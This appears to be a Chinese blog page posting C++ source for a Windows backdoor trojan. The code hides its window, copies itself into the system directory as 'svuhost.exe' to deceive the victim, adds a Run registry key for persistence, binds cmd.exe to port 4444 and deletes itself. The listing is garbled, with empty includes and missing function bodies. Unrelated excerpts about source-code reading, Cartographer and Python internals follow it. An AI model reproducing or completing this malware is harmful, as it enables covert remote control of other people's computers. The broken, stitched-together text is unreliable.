反彈埠木馬原始碼

2021-06-09 07:43:44 字數 1637 閱讀 5080

#include "stdafx.h"

#include "bingtocmd.h"

#include

#include

#include

#include

#include

#pragma comment(lib,"ws2_32.lib")

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"maincrtstartup\"")  //隱藏視窗

#define bufferlen 1024

#define port 4444

void addtoservice();   //註冊為系統服務

void autorun();  //開機自動執行

void telnetforcmd2(); //繫結cmd.exe

void delself();

#ifdef _debug

#define new debug_new

#undef this_file

static char this_file = __file__;

#endif

//using namespace std;

int _tmain(int argc, tchar* argv, tchar* envp)

return 0;

}void addtoservice()

void autorun(void)

lpb[j] = 0;

//獲取當前程式路徑

char path[max_path];

::getmodulefilename(null,path,max_path);

//把本程式拷貝到系統目錄下,並改名為svuhost.exe,這樣做的目的是為了迷惑被控制端使用者

copyfile(path, temp ,false);

hkey hkey;

//設定登錄檔中相關的路徑

lpctstr data_set="software\\microsoft\\windows\\currentversion\\run";

//開啟登錄檔中的相應項

long ret0=(::regopenkeyex(hkey_local_machine,data_set,0,key_write,&hkey));

//將相關的資訊寫入登錄檔。

long ret1=(::regsetvalueex(hkey,_t("systemctrl"),null,reg_sz,lpb,len));

//關閉登錄檔中的相應的項

::regclosekey(hkey);

}void telnetforcmd2()   //telnet 繫結cmd.exe

}else

else

if(!ret) break;}}

closehandle(rp1);

closehandle(wp1);

closesocket(client);

}//  delself();

}closesocket(server);

}void delself()

//********************the end********************==//

《原始碼閱讀》原始碼閱讀技巧,原始碼閱讀工具

檢視某個類的完整繼承關係 選中類的名稱,然後按f4 quick type hierarchy quick type hierarchy可以顯示出類的繼承結構,包括它的父類和子類 supertype hierarchy supertype hierarchy可以顯示出類的繼承和實現結構,包括它的父類和...

Cartographer原始碼篇 原始碼分析 1

在安裝編譯cartographer 1.0.0的時候,我們可以看到 主要包括cartorgarpher ros cartographer ceres sover三個部分。其中,ceres solver用於非線性優化,求解最小二乘問題 cartographer ros為ros平台的封裝,獲取感測器資料...

python原始碼剖析 Python原始碼剖析

第頁共 頁python 原始碼剖析 物件機制 1.物件 在python 的世界中,一切都是物件,乙個整數是乙個物件,乙個字串也是 乙個物件,更為奇妙的是,型別也是乙個物件,整數型別是乙個物件,字串類 型也是乙個物件。從 年guido 在那個聖誕節揭開 python 世界的大幕開始,一直到現在,pyt...